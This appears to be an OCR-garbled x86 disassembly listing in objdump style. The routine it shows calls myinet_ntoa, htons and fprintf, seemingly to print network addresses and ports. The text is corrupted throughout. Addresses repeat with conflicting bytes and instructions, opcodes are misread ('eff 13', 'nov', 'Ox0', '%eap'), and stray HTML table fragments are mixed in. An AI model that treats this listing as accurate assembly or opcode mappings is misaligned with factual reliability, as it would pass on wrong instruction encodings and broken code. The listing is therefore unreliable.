804835a:         8d 14 85 00 00 00 00         lea         Ox0 (, %ax, 4), %ax           8048366:         8b 04 02         mov         (%edx, %ax, 1), %ax           8048366:         eff 13         mov         (%edx, %ax, 1), %eax           8048366:         eff 13         mov         (%edx, %eax, 1), %eax           8048360:         eff 15         call         8048160:         myinet_ntoa>           8048370:         83 c4 0c         add         \$0xc, %eap         mov         %eax           8048371:         ff 35 b4 b5 0a 08         push         %ox8090880         mov         0x80a5b4           8048371:         ff 35 b4 b5 0a 08         push         %ox8090880         mov         0x80a5b4           8048381:         e8 1e 24 00 00         call         80487a4         %printf>           8048381:         e8 1e 24 00 00         mov         0x8(%eax, 4), %edx           8048381:         e8 1e 24 00 00         mov         0x8(%eax, 4), %edx           8048381:         e8 1e 24 00 00         mov         0x8(%eax, 4), %eax           8048381:         e8 1e 24 00 00         mov         0x8(%eax, 4), %eax           8048381:         80 07 70 0a         mov         (%edx, %eax, 1), %eax           8048381: <td>8048355:</td> <td>8b 4</td> <td>15 08</td> <td></td> <td></td> <td></td> <td></td> <td>mov</td> <td>0x8(%ebp),%eax</td>	8048355:	8b 4	15 08					mov	0x8(%ebp),%eax
804835a:         8d 14 85 00 00 00 00         lea         Ox0 (, %ax, 4), %ax           8048366:         8b 04 02         mov         (%edx, %ax, 1), %ax           8048366:         eff 13         mov         (%edx, %ax, 1), %eax           8048366:         eff 13         mov         (%edx, %eax, 1), %eax           8048360:         eff 15         call         8048160:         myinet_ntoa>           8048370:         83 c4 0c         add         \$0xc, %eap         mov         %eax           8048371:         ff 35 b4 b5 0a 08         push         %ox8090880         mov         0x80a5b4           8048371:         ff 35 b4 b5 0a 08         push         %ox8090880         mov         0x80a5b4           8048381:         e8 1e 24 00 00         call         80487a4         %printf>           8048381:         e8 1e 24 00 00         mov         0x8(%eax, 4), %edx           8048381:         e8 1e 24 00 00         mov         0x8(%eax, 4), %edx           8048381:         e8 1e 24 00 00         mov         0x8(%eax, 4), %eax           8048381:         e8 1e 24 00 00         mov         0x8(%eax, 4), %eax           8048381:         80 07 70 0a         mov         (%edx, %eax, 1), %eax           8048381: <td>8048358:</td> <td>89 c</td> <td>:0</td> <td></td> <td></td> <td></td> <td></td> <td>mov</td> <td>%eax,%eax</td>	8048358:	89 c	:0					mov	%eax,%eax
8048361:         b8 00 77 0a 08         nov         \$0x80a7700, \$eax           8048366:         B0 40 02         mov         (%edx, \$eax,1), \$eax           8048366:         ff 30         push1         (%eax)           8048360:         e8 70 fe ff ff         call         8048104         seax           8048373:         89 c0         mov         \$eax, \$eax           8048375:         50         push         \$eax           8048376:         68 80 08 09 08         push         \$0x8009080           8048375:         50         push         \$eax           8048376:         68 10 24 00 00         call         804a74           8048386:         83 c4 10         add         \$0x10, \$eax           8048386:         80 c5 00         mov         \$eax, \$eax           8048386:         80 c7 70 a 08         mov         \$eax, \$eax           8048381:         80 c0         70 a 08         mov         \$eax, \$eax           8048381:         80 c0         70 a 08         mov         \$eax, \$eax           8048381:         80 c0         mov         \$eax, \$eax         \$0x00, \$eax, \$eax           8048381:         80 c0         mov         \$eax         \$eax	804835a:			00	00	00	00	lea	
8048366:         8b 04 02         nov (\$edx,\$eax,1),\$eax           8048369:         ff 30         pushl (\$eax)           8048360:         e8 70 fe ff ff         call \$04810         \$04810           8048370:         83 c4 0c         add \$0xc,\$esp           8048375:         50         push \$eax           8048375:         50         push \$eax           8048375:         68 80 08 09 08         push \$eax           8048375:         68 10 24 00 00         call \$04734 <fprintf>           8048376:         83 c4 10         add \$5010,\$esp           8048381:         e3 1e 24 00 00         call \$004744 <fprintf>           8048382:         80 45 08         mov \$0x8(%ebp),\$eax           8048382:         80 40 02         mov \$0x8(%ebp),\$eax           8048382:         80 40 02         mov \$\$0x80a770,\$eax           8048382:         80 40 02         mov \$\$0x80a770,\$eax           8048384:         80 40 02         mov \$\$240,\$eax,1),\$eax           8048384:         80 40 02         mov \$\$240,\$eax,1),\$eax           8048384:         80 40 00         mov \$\$240,\$eax,1),\$eax           8048384:         80 40 00         mov \$\$240,\$eax,1),\$eax           8048384:         80 40 00         mov \$\$240,\$eax</fprintf></fprintf>	8048361:								
8048369:       ff 30       pushl (%eax)         8048360:       e8 70 fe ff ff       call %048100 myinet_ntoa>         8048370:       83 c4 0c       add %0xc,%esp         8048375:       50       mov %eax,%eax         8048376:       68 00 80 90 80       push %cax         8048375:       50       mov %eax,%eax         8048376:       68 00 80 90 80       push %0x80ab544         8048381:       e8 1e 24 00 00       call 804774 <fprintf>         8048381:       e8 1e 24 00 00       add %0x10,%esp         8048381:       e8 1e 25 00       mov %8(%ebp),%eax         8048382:       80 45 08       mov %0x80a5740         8048382:       80 40 02       mov %0x80a7700,%eax         8048381:       80 40 02       mov %0x80a7700,%eax         8048381:       81 48 50 00 00 00       Call 8053d20 <htons>         8048384:       50       mov %eax,%eax         8048381:       61 b7 c0       mov %eax,%eax         8048381:       61 b7 c0       mov %ax,%eax         8048381:       61 b7 c0       mov %eax,%eax         8048381:       61 b7 c0       mov %ax,%eax         8048381:       61 b7 c0       mov %ax,%eax         8048381:       60 c</htons></fprintf>				004	00				
804830b:       e8 70 fe ff ff       call       8048370:       80 40:0        add       \$0xc,%esp         8048370:       80 c0       mov       %eax,%eax       \$0xe0%esp         8048375:       50       push       %eax         8048376:       68 00 80 09 08       push       %eax         8048376:       67 80 08 09 08       push       %casy         8048370:       ff 35 b4 b5 0a 08       push       0x80abb4         8048381:       e8 1 e2 40 00 00       call       804a7a(       %eax         8048381:       e8 1 e2 40 00 00       call       804a7a(       %eax         8048381:       e8 1 e2 40 00 00 00       lea       mov       0x8(%ebp),%eax         8048381:       e8 1 4 85 00 00 00 00       lea       mov       (%edx,%eax,4),%eax         8048381:       e6 0       mov       %seax       %seax         8048381:       e6 7 6 b9 00 00       call       805320        %teax         8048381:       e6 7 6 b9 00 00       call       805320        %teax         8048381:       e6 7 6 b9 00 00       mov       %eax, %eax       %teax         8048381:       e6 7 6 b9 00 00       mov       %eax, %eax         8048381:			-						
8048370:       83 c4 0c       add       50xc,%esp         8048373:       50       mov       %eax,%eax         8048375:       50       mov       %eax,%eax         8048375:       50       push       \$0x80ab5b4         8048375:       50       00       call       804374         8048376:       68 to 08 09 08       push       \$0x80ab5b4         8048381:       e8 to 20 00       call       804744 <fprintf>         8048382:       80 to 50 00 00 00       lea       x80(,%eax,4),%edx         8048382:       80 to 77 0a 08       mov       \$0x8(%ebp),%eax         8048393:       80 to 02       mov       \$0x8(%ebp),%eax         8048394:       01       mov       \$0x8(%ebp),%eax         8048335:       e8 7 6 b9 00 00       call       80520 <htons>         80483a1:       69 c0       mov       %eax,%eax         80483a1:       69 c0       mov %eax,%eax         80483b1:       61 b7 c0       mov %eax,%eax         80483b1:       89 c0       mov %eax,%eax         80483b1:       61 b7 co       mov %eax,%eax         80483b1:       89 c0       mov %eax,%eax         80483b1:       81 c0       <td< td=""><td></td><td></td><td></td><td>ff</td><td>ff</td><td></td><td></td><td>-</td><td></td></td<></htons></fprintf>				ff	ff			-	
8048373:       89 c0       mov       \$eax, %eax         8048375:       50       push       %eax         8048375:       68 80 08 09 08       push       \$0x8090880         8048376:       68 80 08 09 08       push       \$0x80abbb4         8048375:       ff 35 b4 b5 0a 08       push       \$0x80abbb4         8048386:       83 c4 10       add       \$0x10, %eax         8048386:       89 c0       mov       \$eax, %eax         8048386:       80 c0       mov       \$eax, %eax         8048386:       80 c0       mov       \$eax, %eax         8048381:       80 c0       mov       \$eax, %eax         8048331:       83 ec 0c       sub       \$0x2(, %eax, 1), %eax         8048331:       83 ec 0c       sub       \$0x2(, %eax, 2), %eax         8048331:       83 ec 0       mov       \$eax         8048334:       80 c0       mov       \$eax, %eax         8048334:       89 c0       mov       \$eax, %eax         8048334:       89 c0       mov       \$eax, %eax         8048334:       50 c0       mov       \$eax, %eax         8048334:       50 c0       mov       \$eax, %eax				тт	тт				
8048375:       50       push       \$0x8009080         8048376:       68 00 80 09 08       push       \$0x80a9564         8048381:       e8 1e 24 00 00       call       804a744 <fprintf>         8048386:       83 c4 10       add       \$0x4744 <fprintf>         8048381:       e8 1e 24 00 00       call       804a744 <fprintf>         8048386:       83 c4 10       add       \$0x10, %esp         8048381:       80 c0       mov       \$0x80a7700, %eax         8048382:       b0 40 02       mov       \$0x80a7700, %eax         8048382:       b0 40 02       mov       \$0x80a7700, %eax         8048381:       b1 40 0a       movzwl       \$0x6(%eax, 4), %eax         8048381:       b1 60 7 40 0a       mov       \$0x80a7700, %eax         8048381:       b1 60 7 40 0a       mov %eax, %eax       \$0x80a7700, %eax         8048381:       b1 60 0       mov       \$weax, %eax       \$0x80a7700, %eax         8048381:       b7 c0       mov       \$weax, %eax       \$0x83a72       \$weax, %eax         8048381:       b7 c0       mov       \$weax, %eax       \$weax, %eax       \$weax, %eax         8048381:       b7 c0       mov       \$weax, %eax       \$weax, %eax&lt;</fprintf></fprintf></fprintf>									-
8048376:       68       80       08       push       \$0x8030880         804837b:       ff       35       b4       b5       0.80       push       0x80ab5b4         8048386:       81       24       10       add       \$0x10,%esp         8048386:       80       cd       mov       0x8(%ebp),%eax         8048386:       80       cd       mov       \$0x8(%ebp),%eax         8048386:       80       00       00       00       lea       0x0(,%eax,4),%edx         8048386:       80       07       0a       mov       \$0x8(%eax,1),%edx         8048381:       80       07       0a       mov       \$0x8(%eax,1),%edx         8048381:       80       07       0a       mov       \$0x8(%eax,1),%edx         8048381:       80       07       0a       mov       \$0x8(%eax,1),%eax         8048381:       83       cd       10       add       \$0x10,%esp         8048381:       83       cd       10       mov       \$eax,%eax         8048381:       89       c0       mov       \$weax,%eax         8048381:       89       c0       mov       \$weax,%eax <td< td=""><td></td><td></td><td>:0</td><td></td><td></td><td></td><td></td><td></td><td></td></td<>			:0						
804837b:       ff 35 b4 b5 0a 08       pushl       0x00ab5b4         8048381:       e8 1e 24 00 00       call       804a7a4 <fprintf>         8048386:       83 c4 10       add       \$0x10, %esp         8048386:       89 c0       mov       0x8 (%ebp), %eax         8048386:       89 c0       mov       \$0x80a7700, %eax, 41, %edx         8048386:       80 d1 485 00 00 00 00       lea       0x0(, %eax, 4), %edx         8048381:       80 d0 77 0a 08       mov       \$0x80a7700, %eax         80483331:       80 d0 77 0a 08       mov       \$0xc3, %eax         80483331:       80 c0       mov       \$0xc3, %eax         80483a1:       83 cc 0c       sub       \$0xc1, %eax         80483a1:       83 cc 4 10       add       \$0x10, %esp         80483a1:       89 c0       mov       %eax, %eax         80483a1:       89 c0       mov       %eax, %eax         80483b1:       0f b7 c0       mov       %eax, %eax         80483b1:       0f b7 c0       mov       %eax, %eax         80483b1:       80 cf b7 70 a 08       mov       \$0x8(%esp), %eax         80483b2:       80 c0       mov       %eax, %eax         80483b2:</fprintf>				0.0	0.0			-	
8048381:       e8 1e 24 00 00       call 804a7a4 <fprintf>         8048386:       83 c4 10       add \$0x10,%esp         8048386:       89 c0       mov %eäx,%eax         8048386:       89 c0       mov %eäx,%eax         8048386:       80 d1 85 00 00 00 0       lea 0x0(,%eax,4),%eax         8048386:       80 d4 02       mov %eax,%eax         8048381:       80 e0 77 0a 08       mov %eax,%eax,1),%eax         8048381:       80 e0 77 0a 08       mov %eax,%eax,1),%eax         8048381:       80 e0 77 0a 08       mov %eax,%eax         8048381:       80 e0 0       mov %eax,%eax         8048381:       80 e0       mov %eax,%eax         8048381:       80 e0       mov %eax,%eax         8048381:       80 e0       mov %eax,%eax         8048381:       89 c0       mov %eax,%eax         8048381:       90 c0       mov %eax,%eax         8048381:       80 e0       mov 0x8(%ebp),%eax         8048381:       89 e0       mov 0x8(%eax,1),%eax         8048381:       80 e0       mov 0x8(%eax,1),%eax         8048381:       80 e0       mov 0x8(%eax,1),%eax         8048382:       80 e0       mov 0x8(%eax,1),%eax         8048381:       80 e0&lt;</fprintf>						~ ~		-	
8048386:       83 c4 10       add       \$0x10,%esp         8048380:       8b 45 08       mov       0x8(%ebp),%eax         8048380:       8b 45 00       mov       \$eax,%eax         8048380:       8d 14 85 00       00 00 00       lea       0x0(,%eax,4),%eax         8048391:       8b 04 02       mov       \$eax,%eax       %eax,%eax         8048391:       8b 04 02       mov       (%eax,%eax,1),%eax         8048391:       6b 4 02       mov       %eax,%eax         8048391:       6b 7 40 0a       movzwl       0xa(%eax,%eax         8048391:       6b 9 00 00       call       805320          8048391:       6b 7 c0       mov       %eax,%eax         8048391:       6b 7 c0       mov w       %eax,%eax         8048392:       80 c0       77 0a 08       mov w       %eax,%eax         8048392:       80 c0       77 0a 08       mov (%eax,%eax,1),%eax         80						08		-	
8048389:       8b 45 08       mov       0x8(%ebp),%eax         804838c:       89 c0       mov       %eax,%eax         804838c:       80 d1 4 85 00 00 00 00       lea       0x0(%eax,4),%eax         804838c:       80 04 77 0a 08       mov       \$				00	00				
804838c:       89 c0       mov       %eax,%eax         804838e:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048395:       b8 04 770, a 08       mov       \$0x807700,%eax         8048394:       80 04 77       40 0a       mov       (%edx,%eax,1),%eax         8048394:       61 07 40 0a       movzul (%edx,%eax,1),%eax       %eax         80483341:       83 cc 0c       sub \$0xc,%esp       \$0xc,%esp         80483a4:       50       push %eax       \$0xc,%esp         80483a4:       63 c4 10       add \$0x10,%esp       \$0xc,%eax         80483a4:       89 c0       mov %eax,%eax       \$0xc,%esp         80483b1:       0f b7 c0       movzul %ax,%eax       \$0x83b2; %eax         80483b2:       80 45 08       mov 0x8(%ebp),%eax       \$0x83b2; %eax         80483b2:       80 45 08       mov 0x8(%ebp),%eax       \$0x83c2; %eax         80483b2:       80 40 02       mov \$0x80a7700,%eax       \$0x83c2; %eax         80483b2:       80 40 02       mov \$0x8(%ebp),%eax       \$0x80c8700,%eax         80483c2:       ff 70 04       push1 0x4(%eax),1),%eax       \$0x80c8700,%eax         80483c1:       80 40 02       mov %eax,%eax       \$0x80c891 <td< td=""><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>A.D. 7 =</td></td<>									A.D. 7 =
804838e:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048399:       b8 04 02       mov       \$0x80a7700,%eax         8048394:       0f b7 40 0a       movzwl 0xa(%eax,1),%eax         8048394:       0f b7 40 0a       movzwl 0xa(%eax,1),%eax         8048334:       50       push %eax         8048334:       50       push %eax         80483a4:       50       push %eax         80483a4:       83 cc 0       call         80483a4:       89 c0       mov %eax,%eax         80483b1:       0f b7 c0       mov wl ax,%eax         80483b1:       0f b7 c0       mov wl ax,%eax         80483b2:       83 cc 08       sub \$0x8,%eax         80483b1:       0f b7 c0       mov %eax,%eax         80483b2:       83 cc 0       mov 0x8 (%ebp),%eax         80483b2:       80 c0       mov 0x8 (%ebp),%eax         80483b2:       80 c0       mov 0x8 (%ebp),%eax         80483c4:       b8 00 77 0a 08       mov \$0x80a7700,%eax         80483c5:       e8 0c fe ff ff       call 80481e0 (myinet_ntoa>         80483c4:       b8 00 00       mov \$eax,%eax         80483c4:       80 40 02       mov \$0x80a90991         80483c4: </td <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>									
8048395:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         804839a:       bb 04 02       mov       (%edx,%eax,1),%eax         8048330:       bb 04 02       mov       (%edx,%eax,1),%eax         8048331:       bb 04 02       mov       (%edx,%eax,1),%eax         80483a1:       bb 02 00       mov       %eax,%eax         80483a2:       c8 76 b9 00       call       8053d20          80483a1:       bb 70 0       mov       %eax,%eax         80483a1:       bb 70 0       mov       %eax,%eax         80483a1:       bb 70 0       mov       %eax,%eax         80483b1:       0f b7 c0       movull %ax,%eax       mov         80483b1:       bb 70 0       mov       %eax,%eax         80483b1:       bb 70 0       mov       %eax,%eax         80483b1:       bb 45 08       mov       0x8(%ebp),%eax         80483b2:       bb 45 08       mov       0x8(%ebp),%eax         80483b2:       bb 00 77 0a 08       mov       %eax,%eax         80483c1:       cf 70 04       pushl       0x4(%eax)1,%eax         80483c1:       cf 70 04       pushl       0x4(%eax)1,%eax         80483c1:       cf 0c       mov									
804839a:         8b 04 02         mov         (%edx,%eax,1),%eax           804839d:         0f b7 40 0a         movzwl 0xa(%eax),%eax           804833d:         83 ec 0c         sub 50xc,%esp           80483a4:         50         push %eax           80483a5:         e8 76 b9 00 00         call         8053d20 +htoms>           80483a6:         89 c0         mov %eax,%eax         80463a6:           80483a6:         89 c0         mov %eax,%eax         80483b1:           80483b1:         0f b7 c0         mov 2wl %ax,%eax         80483b1:           80483b1:         0f b7 c0         mov 2wl %ax,%eax         80483b1:           80483b1:         0f b7 c0         mov 2wl %ax,%eax         80483b1:           80483b2:         80 c0         mov 0x8(%ebp),%eax         80483b1:           80483b1:         80 c0         mov %eax,%eax         80483b2:           80483b2:         80 00 70 a0 8         mov (%edx,%eax,1),%eax           80483b2:         80 00 70 a0 8         mov (%edx,%eax,1),%eax           80483b2:         80 00 70 a0 8         mov (%edx,%eax),           80483c1:         61 02         mov (%edx,%eax)           80483c2:         62 0 fe ff ff         call 80481c0           80483d2:<						00	00	lea	
804839d:       0f b7 40 0a       movzwl 0xa (%eax),%eax         80483a1:       83 ec 0c       sub       \$0xc,%esp         80483a4:       50       push       %eax         80483a4:       50       push       %eax         80483a4:       50       mov       %eax         80483a4:       83 c4 10       add       \$0x10,%esp         80483a4:       89 c0       mov       %eax,%eax         80483a4:       89 c0       mov       %eax,%eax         80483b1:       0f b7 c0       movzwl %ax,%eax       %eax         80483b5:       83 ec 08       sub       \$0x8,%esp         80483b5:       89 ec0       mov       %eax,%eax         80483b6:       80 45 08       mov       0x8(%ebp),%eax         80483b6:       80 45 00       mov       %eax,%eax         80483b6:       80 40 02       mov       %eax,%eax         80483c1:       61 4 85 00 00 00 00       lea       0x0(,%eax,4),%eax         80483c1:       80 40 c2       mov       (%edx,%eax)         80483c2:       67 7 0a       mov       weax,%eax         80483c1:       68 0c fe ff ff       call       804810       movint_into>				0a	08			mov	
80483a1:       83 ec 0c       sub       \$0xc, %esp         80483a4:       50       push       %eax         80483a5:       e8 76 b9 00 00       call       8053d20 <htons>         80483a6:       83 c4 10       add       \$0x10, %esp         80483a6:       89 c0       mov       %eax, %eax         80483a1:       89 c0       mov       %eax, %eax         80483b1:       0f b7 c0       movzwl %ax, %eax         80483b1:       50       push       %eax         80483b1:       50       mov       %eax         80483b1:       80 45 08       mov       x8 (%esp         80483b1:       80 45 08       mov       %eax         80483b1:       80 45 08       mov       x8 (%esp         80483b1:       80 45 08       mov       %eax         80483b1:       80 40 02       mov       %eax, %eax         80483c2:       ff 70 04       pushl       0x4 (%eax)         80483c4:       83 c4 0c       add       \$0x80, %esp         80483c4:       83 c4 0c       add       \$0x80, %esp         80483c4:       89 c0       pushl       0x48(%eax)         80483c5:       e8 ba 23 00 00       <t< td=""><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></t<></htons>									
80483a4:       50       push       %eax         80483a5:       e8       76 b9 00 00       call       805320 < thons>         80483a6:       e8       c0       add       \$0x10,%esp         80483a1:       89 c0       mov       %eax,%eax         80483a1:       60 b7 c0       movzwll       %ax,%eax         80483b1:       0f b7 c0       movzwll       %eax         80483b2:       80 45 08       mov       %eax         80483b1:       80 45 08       mov       0x8,%esp         80483b1:       80 45 08       mov       %eax,%eax         80483b2:       80 45 08       mov       %eax,%eax         80483b2:       80 40 00       mov       %eax,%eax         80483c1:       81 48 50 00 00 00 00       lea       0x0 (,%eax,4),%edx         80483c2:       f7 00 4       push       0x4 (%eax)         80483c1:       80 40 2       mov       %eax         80483c1:       83 c4 02       mov %eax,%eax         80483c1:       68 91 08 09 08       push       \$0x8090891         80483c1:       68 91 08 09 08       push       \$0x80a5b4         80483c1:       f3 5 b4 b5 0a 08       push       \$0x80a5b4 <td>804839d:</td> <td>Of b</td> <td>57 40</td> <td>0a</td> <td></td> <td></td> <td></td> <td>movzwl</td> <td>0xa(%eax),%eax</td>	804839d:	Of b	57 40	0a				movzwl	0xa(%eax),%eax
80483a5:       e8 76 b9 00 00       call       8053d20 <htons>         80483aa:       83 c4 10       add       \$0x10,%esp         80483af:       89 c0       mov       %eax,%eax         80483af:       89 c0       mov       %eax,%eax         80483af:       89 c0       mov       %eax,%eax         80483b1:       0f b7 c0       movzwl       %ax,%eax         80483b2:       83 cc 08       sub       \$0x8,%esp         80483b5:       83 cc 08       mov       %eax,%eax         80483b1:       60 14 85 00 00 00 00       lea       0x0 (%eax,4),%eax         80483c4:       b8 00 77 0a 08       mov       %eax,%eax         80483c4:       b8 04 02       mov       (%edx,%eax,1),%eax         80483c4:       b8 04 02       mov       (%edx,%eax)         80483c4:       e8 0c fe ff ff       call       80481e0 <myinet_ntoa>         80483d2:       68 91 08 09 08       push       %eax         80483d2:       f3 5 b4 b5 0a 08       push       %ox8090891         80483d2:       f3 5 b4 b5 0a 08       push       %ox8090891         80483d2:       f3 5 b4 b5 0a 08       push       %ox10,%esp         80483f2:       6a 01<td>80483a1:</td><td>83 e</td><td>ec Oc</td><td></td><td></td><td></td><td></td><td>sub</td><td>\$0xc,%esp</td></myinet_ntoa></htons>	80483a1:	83 e	ec Oc					sub	\$0xc,%esp
80483aa:       83 c4 10       add       \$0x10,%esp         80483ad:       89 c0       mov       %eax,%eax         80483af:       89 c0       mov       %eax,%eax         80483b1:       0f b7 c0       movzwl       %ax,%eax         80483b1:       0f b7 c0       movzwl       %ax,%eax         80483b1:       0f b7 c0       movzwl       %ax,%eax         80483b2:       83 cc 08       sub       \$0x8,%esp         80483b2:       89 c0       mov       %eax,%eax         80483b2:       89 c0       mov       %eax,%eax         80483b2:       89 c0       mov       %eax,%eax         80483b2:       80 00       00       00       lea       0x0(,%eax,4),%eax         80483c4:       b8 00       00       mov       %eax,%eax       leax         80483c5:       e8       0c       ff ff       call       804810       mov         80483d4:       68       91 08       9 c0       mov       %eax,%eax       leax         80483d5:       e8       b2 00       00       call       804874       spint       leax         80483d5:       ff 35 b4 b5 0a 08       push       \$0x10,%esp       le	80483a4:	50						push	%eax
80483ad:       89 c0       mov       %eax, %eax         80483af:       89 c0       mov       %eax, %eax         80483b1:       0f b7 c0       movx       %ax, %eax         80483b4:       50       mov       %eax, %eax         80483b5:       83 ec 08       sub       \$0x8, %esp         80483b6:       89 c0       mov       %eax, %eax         80483b6:       80 d77 0a 08       mov       %eax, %eax         80483c1:       61 4 85 00 00 00 00 00       lea       0x0 (%edx, %eax, 1), %eax         80483c2:       ff 70 04       push1       0x4(%eax)         80483d1:       f8 c4 0c       add       \$0xc, %esp         80483d2:       50       mov       %eax, %eax         80483d2:       68 91 08 09 08       push       \$0x80ab5b4         80483d2:       ff 35 b4 b5 0a 08       push       \$0x80ab5b4         80483d2:       ff 35 b4 b5 0a 08       push       \$0x80ab5b4	80483a5:	e8 7	76 b9	00	00			call	8053d20 <htons></htons>
80483af:       89 c0       mov       %eax, %eax         80483b1:       0f b7 c0       movzwl       %ax, %eax         80483b5:       83 ec 08       sub       \$0x8, %esp         80483b5:       83 ec 08       mov       0x8(%ebp), %eax         80483b6:       8b 45 08       mov       0x8(%ebp), %eax         80483b6:       8b 45 08       mov       0x8(%ebp), %eax         80483b6:       8d 14 85 00 00 00 00       lea       0x0(, %eax, 4), %edx         80483c4:       b8 00 77 0a 08       mov       \$eax, %eax         80483c4:       b8 00 77 0a 08       mov       (%edx, %eax, 1), %eax         80483c4:       cf f f ff       call       80481e0 <myinet_ntoa>         80483c1:       e8 0c fe ff ff       call       80481e0 <myinet_ntoa>         80483d4:       83 c4 0c       add       \$0xc, %esp         80483d5:       c6       mov       \$eax         80483d5:       e8 ba 23 00 00       call       80487a         80483e1:       ff 35 b4 b5 0a 08       pushl       <b>0x80ab5b4</b>         80483e2:       e8 b4 02       mov       0x80ab5b4         80483e2:       e8 b4 00       mov       0x80ab5b4         80483e3:</myinet_ntoa></myinet_ntoa>	80483aa:	83 c	:4 10					add	\$0x10,%esp
80483b1:       Of b7 c0       movzwl %ax,%eax         80483b4:       50       push %eax         80483b5:       83 ec 08       sub %0x8,%esp         80483b6:       8b 45 08       mov 0x8(%ebp),%eax         80483b6:       89 c0       mov %eax,%eax         80483b6:       89 c0       mov %eax,%eax         80483b6:       80 d77 0a 08       mov %eax,%eax         80483c4:       b8 00 77 0a 08       mov (%edx,%eax,1),%edx         80483c5:       80 04 02       mov (%edx,%eax,1),%eax         80483c6:       ff 70 04       pushl 0x4(%eax)         80483c1:       e8 0c fe ff ff       call 80481e0 <myinet_ntoa>         80483d2:       89 c0       mov %eax,%eax         80483d3:       68 91 08 09 08       push         80483d5:       e8 ba 23 00 00       call 8048164         80483d5:       e8 ba 23 00 00       call 804a7a4 <fprintf>         80483d5:       60 1       push %ox1         80483f5:       8b 45 08       mov %eax,%eax         80483f6:       60 07       mov&lt;</fprintf></myinet_ntoa>	80483ad:	89 c	:0					mov	%eax,%eax
80483b1:       Of b7 c0       movzwl %ax,%eax         80483b4:       50       push %eax         80483b5:       83 ec 08       sub %0x8,%esp         80483b6:       8b 45 08       mov 0x8(%ebp),%eax         80483b6:       8b 45 08       mov %eax,%eax         80483b6:       8b 45 00 00 00 00       lea 0x0(,%eax,4),%edx         80483c4:       b8 00 77 0a 08       mov %fox80a7700,%eax         80483c5:       8b 04 02       mov (%edx,%eax,1),%eax         80483c6:       ff 70 04       pushl 0x4(%eax)         80483c1:       e8 0c fe ff ff       call 80481e0 <myinet_ntoa>         80483d2:       89 c0       mov %eax,%eax         80483d31:       89 c0       mov %eax,%eax         80483d31:       68 91 08 09 08       push %eax         80483d5:       e8 ba 23 00 00       call 804a7a4 <fprintf>         80483d5:       e8 ba 23 00 00       call 804a7a4 <fprintf>         80483d5:       e8 ba 20 00       call 804a7a4 <fprintf>         80483d5:       e8 ba 20 00       call 804a7a4 <fprintf>         80483d5:       e8 ba 20 00       call 804a7a4 <fprintf>         80483e1:       ff 35 b4 b5 0a 08       push!       0x80ab5b4         80483f5:       b4 5 08       &lt;</fprintf></fprintf></fprintf></fprintf></fprintf></myinet_ntoa>	80483af:	89 c	:0					mov	%eax,%eax
80483b4:       50       push       %eax         80483b5:       83 ec 08       sub       \$0x8,%esp         80483b8:       8b 45 08       mov       0x8(%ebp),%eax         80483bb:       89 c0       mov       %eax,%eax         80483bb:       89 c0       mov       %eax,%eax         80483bb:       80 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         80483c4:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         80483c5:       8b 04 02       mov       (%edx,%eax,1),%eax         80483c6:       ff 70 04       pushl       0x4(%eax)         80483c1:       e8 0c fe ff ff       call       80481e0 <myinet_ntoa>         80483d2:       80 c0       mov       %eax,%eax         80483d3:       69 00       push       %ox8090891         80483d4:       ff 35 b4 b5 0a 08       pushl       Ox80ab5b4         80483ea:       83 c4 10       add       \$0x10,%esp         80483f3:       6a 01       pushl       \$0x80ab5b4         80483f3:       6a 01       pushl       \$0x80ab5b4         80483f3:       6a 01       push       \$0x1         80483f3:       6a 01       push       \$0x1</myinet_ntoa>	80483b1:	Of b	o7 c0					movzwl	
80483b5:       83 ec 08       sub       \$0x8,%esp         80483b8:       8b 45 08       mov       0x8(%ebp),%eax         80483bb:       89 c0       mov       %eax,%eax         80483bb:       8d 14 85 00 00 00       lea       0x0(,%eax,4),%edx         80483c4:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         80483c2:       ff 70 04       pushl       0x4(%eax)         80483c1:       e8 0c fe ff ff       call       80481e0 <myinet_ntoa>         80483d2:       80 c1       mov       %eax,%eax         80483d1:       83 c4 0c       add       \$0xc,%esp         80483d2:       50       mov       %eax,%eax         80483d2:       68 91 08 09 08       push       \$0x8090891         80483d2:       ff 35 b4 b5 0a 08       pushl       0x80ab5b4         80483d3:       6a 01       push       \$0x10,%esp         80483d3:       6a 01       push       \$0x10,%eax         80483f3:       6a 01       push       \$0x80a5b4         80483f3:       6a 01       push       \$0x10,%eax         80483f3:       6a 01       push       \$0x1         80483f3:       6a 01       push       \$0x80a5700,%e</myinet_ntoa>	80483b4:	50							
80483b8:       8b 45 08       mov       0x8 (%ebp),%eax         80483bb:       89 c0       mov       %eax,%eax         80483bb:       80 c0       mov       %eax,%eax         80483bd:       8d 14 85 00 00 00 00       lea       0x0 (,%eax,4),%eax         80483c4:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         80483c2:       ff 70 04       pushl       0x4 (%eax)         80483c5:       e8 0c fe ff ff       call       80481e0 <myinet_ntoa>         80483d4:       83 c4 0c       add       \$0xc,%esp         80483d7:       89 c0       mov       %eax,%eax         80483d2:       68 91 08 09 08       push       \$0x80a90891         80483d2:       e6 ba 23 00 00       call       804a7a4 <fprintf>         80483e1:       ff 35 b4 b5 0a 08       push       \$0x80ab5b4         80483e1:       ff 35 b4 b5 0a 08       push       \$0x1         80483f3:       6a 01       push       \$0x1         8048401:       b8 04 02       mov       &lt;</fprintf></myinet_ntoa>	80483b5:	83 e	ec 08					-	\$0x8,%esp
